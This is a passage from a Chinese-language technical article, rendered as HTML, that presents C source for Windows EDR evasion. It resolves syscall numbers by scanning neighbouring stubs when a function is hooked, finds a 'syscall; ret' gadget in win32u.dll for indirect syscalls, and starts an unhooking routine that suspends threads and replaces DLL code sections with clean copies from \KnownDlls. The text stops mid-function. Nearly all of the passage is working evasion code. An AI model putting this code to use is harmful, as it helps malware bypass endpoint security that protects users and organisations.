!important;">if</span> (*((PBYTE)pSyscall-&gt;pSyscallAddress + idx * UP) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x4c</span><br/>                        &amp;&amp; *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">1</span> + idx * UP) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x8b</span><br/>                        &amp;&amp; *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">2</span> + idx * UP) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0xd1</span><br/>                        &amp;&amp; *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">3</span> + idx * UP) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0xb8</span><br/>                        &amp;&amp; *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">6</span> + idx * UP) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x00</span><br/>                        &amp;&amp; *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">7</span> + idx * UP) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x00</span>) {<br/>                        BYTE high = *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">5</span> + idx * UP);<br/>                        BYTE low = *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">4</span> + idx * UP);<br/>                        pSyscall-&gt;dwSyscallNumber = (high &lt;&lt; <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">8</span>) | low + idx;<br/>                        <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">break</span>;<br/>                    }<br/>                }<br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">break</span>;<br/>            }<br/>            <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">//if hooked check the neighborhood to find clean syscall 2</span><br/>            <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (*((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">3</span>) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0xe9</span>) {<br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> (WORD idx = <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>; idx &lt;= <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">500</span>; idx++) {<br/>                    <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// check neighboring syscall down</span><br/>                    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (*((PBYTE)pSyscall-&gt;pSyscallAddress + idx * DOWN) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x4c</span><br/>                        &amp;&amp; *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">1</span> + idx * DOWN) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x8b</span><br/>                        &amp;&amp; *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">2</span> + idx * DOWN) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0xd1</span><br/>                        &amp;&amp; *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">3</span> + idx * DOWN) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0xb8</span><br/>                        &amp;&amp; *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">6</span> + idx * DOWN) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x00</span><br/>                        &amp;&amp; *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">7</span> + idx * DOWN) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x00</span>) {<br/>                        BYTE high = *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">5</span> + idx * DOWN);<br/>                        BYTE low = *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">4</span> + idx * DOWN);<br/>                        pSyscall-&gt;dwSyscallNumber = (high &lt;&lt; <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">8</span>) | low - idx;<br/>                        <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">break</span>;<br/>                    }<br/>                    <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// check neighboring syscall up</span><br/>                    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (*((PBYTE)pSyscall-&gt;pSyscallAddress + idx * UP) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x4c</span><br/>                        &amp;&amp; *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">1</span> + idx * UP) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x8b</span><br/>                        &amp;&amp; *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">2</span> + idx * UP) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0xd1</span><br/>                        &amp;&amp; *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">3</span> + idx * UP) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0xb8</span><br/>                        &amp;&amp; *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">6</span> + idx * UP) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x00</span><br/>                        &amp;&amp; *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">7</span> + idx * UP) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x00</span>) {<br/>                        BYTE high = *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">5</span> + idx * UP);<br/>                        BYTE low = *((PBYTE)pSyscall-&gt;pSyscallAddress + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">4</span> + idx * UP);<br/>                        pSyscall-&gt;dwSyscallNumber = (high &lt;&lt; <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">8</span>) | low + idx;<br/>                        <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">break</span>;<br/>                    }<br/>                }<br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">break</span>;<br/>            }<br/>        }<br/>    }<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (!pSyscall-&gt;pSyscallAddress || !pSyscall-&gt;dwSyscallNumber)<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> FALSE;<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> SearchForRop(&amp;pSyscall-&gt;pSyscallInstAddress);<br/>}<br/><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">BOOL <span style="font-size: inherit;line-height: inherit;color: rgb(255, 255, 170);overflow-wrap: inherit !important;word-break: inherit !important;">SearchForRop</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(OUT PVOID* ppRopAddress)</span> </span>{<br/>    PPEB                    pPeb = (PEB*)(__readgsqword(<span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x60</span>));<br/>    PPEB_LDR_DATA            pLdr = (PPEB_LDR_DATA)(pPeb-&gt;LoaderData);<br/>    PLDR_DATA_TABLE_ENTRY    pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr-&gt;InMemoryOrderModuleList.Flink);<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// &#39;i&#39; is used to skip over the local image and ntdll image</span><br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">unsigned</span> <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">int</span>            i = <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>;<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">while</span> (pDte) {<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (pDte-&gt;FullDllName.Length != <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>) {<br/>            <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// define &#39;SEARCH_ALL_DLLS&#39; to search all the loaded modules - not recommended tho</span><br/>            <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// cuz if an ROP is found outside of win32udll, it will be an RW .text section (will be done later when unhooking), </span><br/>            <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// and thus the process will crash</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">ifdef</span> SEARCH_ALL_DLLS</span><br/>            <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (i &gt;= <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">2</span>) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">else</span>        </span><br/>            <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// search only in &#39;win32udll&#39; because its the only module to be RX when unhooking</span><br/>            <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (HASHb(pDte-&gt;FullDllName.Buffer) == win32udll_CRC32b || HASHb(pDte-&gt;FullDllName.Buffer) == WIN32UDLL_CRC32b) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">endif</span> <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// SEARCH_ALL</span></span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">ifdef</span> DEBUG</span><br/>                PRINTW(<span style="font-size: inherit;line-height: inherit;color: rgb(162, 252, 162);overflow-wrap: inherit !important;word-break: inherit !important;">L&#34;&gt;&gt;&gt; Searching in \&#34;%s\&#34; ... \n&#34;</span>, pDte-&gt;FullDllName.Buffer)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">endif</span> <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// DEBUG</span></span><br/>                ULONG_PTR uModule = (ULONG_PTR)pDte-&gt;InInitializationOrderLinks.Flink;<br/>                PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)uModule;<br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (pDosHdr-&gt;e_magic != IMAGE_DOS_SIGNATURE)<br/>                    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> FALSE;<br/>                PIMAGE_NT_HEADERS pNtHdrs = (PIMAGE_NT_HEADERS)(uModule + pDosHdr-&gt;e_lfanew);<br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (pNtHdrs-&gt;Signature != IMAGE_NT_SIGNATURE)<br/>                    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> FALSE;<br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// search only in the text section, where we have RX permissions</span><br/>                PVOID    pTxtSection = (PVOID)(uModule + pNtHdrs-&gt;OptionalHeader.BaseOfCode);<br/>                SIZE_T    sTextSize   = (SIZE_T)pNtHdrs-&gt;OptionalHeader.SizeOfCode;<br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// searching for</span><br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// &lt;syscall&gt;</span><br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// &lt;ret&gt;    </span><br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// instructions</span><br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">for</span> (<span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">size_t</span> j = <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>; j &lt; sTextSize; j++) {<br/>                    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (*((PBYTE)pTxtSection + j) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x0F</span> &amp;&amp; *((PBYTE)pTxtSection + j + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x05</span> &amp;&amp; *((PBYTE)pTxtSection + j + <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">2</span>) == <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0xC3</span>) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">ifdef</span> DEBUG</span><br/>                        PRINTA(<span style="font-size: inherit;line-height: inherit;color: rgb(162, 252, 162);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;\t[+] Found \&#34;syscall; ret\&#34; gadget At - 0x%p \n&#34;</span>, ((PBYTE)pTxtSection + j))<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">endif</span> <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// DEBUG</span></span><br/>                        *ppRopAddress = (PVOID)((PBYTE)pTxtSection + j);<br/>                        <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> TRUE;<br/>                    }<br/>                }<br/>            }<br/>        }<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">else</span> {<br/>            <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">break</span>;<br/>        }<br/>        pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);<br/>        i++;<br/>    }<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (*ppRopAddress == <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>)<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> FALSE;<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">else</span><br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> TRUE;<br/>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">第三步，通过 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">peb</code> 自实现 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">GetModuleHandle</code> 和 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">GetProcAddress</code> 这里不给出代码。<br/>第四步，直接进行 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">unhook</code>：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;padding: 0.5em;background: rgb(51, 51, 51);color: white;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">BOOL <span style="font-size: inherit;line-height: inherit;color: rgb(255, 255, 170);overflow-wrap: inherit !important;word-break: inherit !important;">RefreshAllDlls</span><span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">()</span> </span>{<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">if</span> _WIN64</span><br/>    PPEB pPeb = (PPEB)__readgsqword(<span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0x60</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">else</span></span><br/>    PPEB pPeb = <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(252, 155, 155);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">endif</span></span><br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (pPeb == <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span> || (pPeb != <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span> &amp;&amp; pPeb-&gt;OSMajorVersion != <span style="font-size: inherit;line-height: inherit;color: rgb(211, 99, 99);overflow-wrap: inherit !important;word-break: inherit !important;">0xA</span>)) {<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> FALSE;<br/>    }<br/>    PLIST_ENTRY        Head                    = <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>,<br/>                    Next                    = <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>;<br/>    NTSTATUS        STATUS                  = <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>;<br/>    LPVOID            KnownDllDllModule       = <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>,<br/>                    CurrentDllModule        = <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>;<br/>    PVOID            pLocalTxtAddress        = <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>,<br/>                    pRemoteTxtAddress        = <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>;<br/>    SIZE_T            sLocalTxtSize           = <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>;<br/>    DWORD            dwOldPermission         = <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>;<br/>    Head = &amp;pPeb-&gt;LoaderData-&gt;InMemoryOrderModuleList;<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// skipping the local image, because we know its not in \KnownDlls\ folder </span><br/>    Next = Head-&gt;Flink-&gt;Flink;<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// suspending all local threads, to prevent executing RW memory</span><br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (!SuspendAndResumeLocalThreads(SUSPEND_THREADS))<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> FALSE;<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// loop through all dlls:</span><br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">while</span> (Next != Head) {<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// getting the dll name:</span><br/>        PLDR_DATA_TABLE_ENTRY    pLdrData = (PLDR_DATA_TABLE_ENTRY)((PBYTE)Next - offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks));<br/>        PUNICODE_STRING            DllName = (PUNICODE_STRING)((PBYTE)&amp;pLdrData-&gt;FullDllName + <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">sizeof</span>(UNICODE_STRING));<br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// if not win32u.dll, bcz our rop gadgets are in &#39;win32u.dll&#39; (and we need to keep it RX)</span><br/>        <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (HASHb(DllName-&gt;Buffer) != win32udll_CRC32b &amp;&amp; HASHb(DllName-&gt;Buffer) != WIN32UDLL_CRC32b) {<br/>            <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// getting the dll&#39;s handle from \KnownDlls\ : in case it returned null, that&#39;s ok, cz the dll may not be in KnownDlls after all ...</span><br/>            KnownDllDllModule = GetDllFromKnownDll(DllName-&gt;Buffer);<br/>            CurrentDllModule = (LPVOID)(pLdrData-&gt;DllBase);<br/>            <span style="font-size: inherit;line-height: inherit;color: rgb(136, 136, 136);overflow-wrap: inherit !important;word-break: inherit !important;">// if we had the dll mapped with a valid address from KnownDlls:</span><br/>            <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (KnownDllDllModule != <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span> &amp;&amp; CurrentDllModule != <span style="font-size: inherit;line-height: inherit;color: rgb(252, 194, 140);overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>) {<br/>              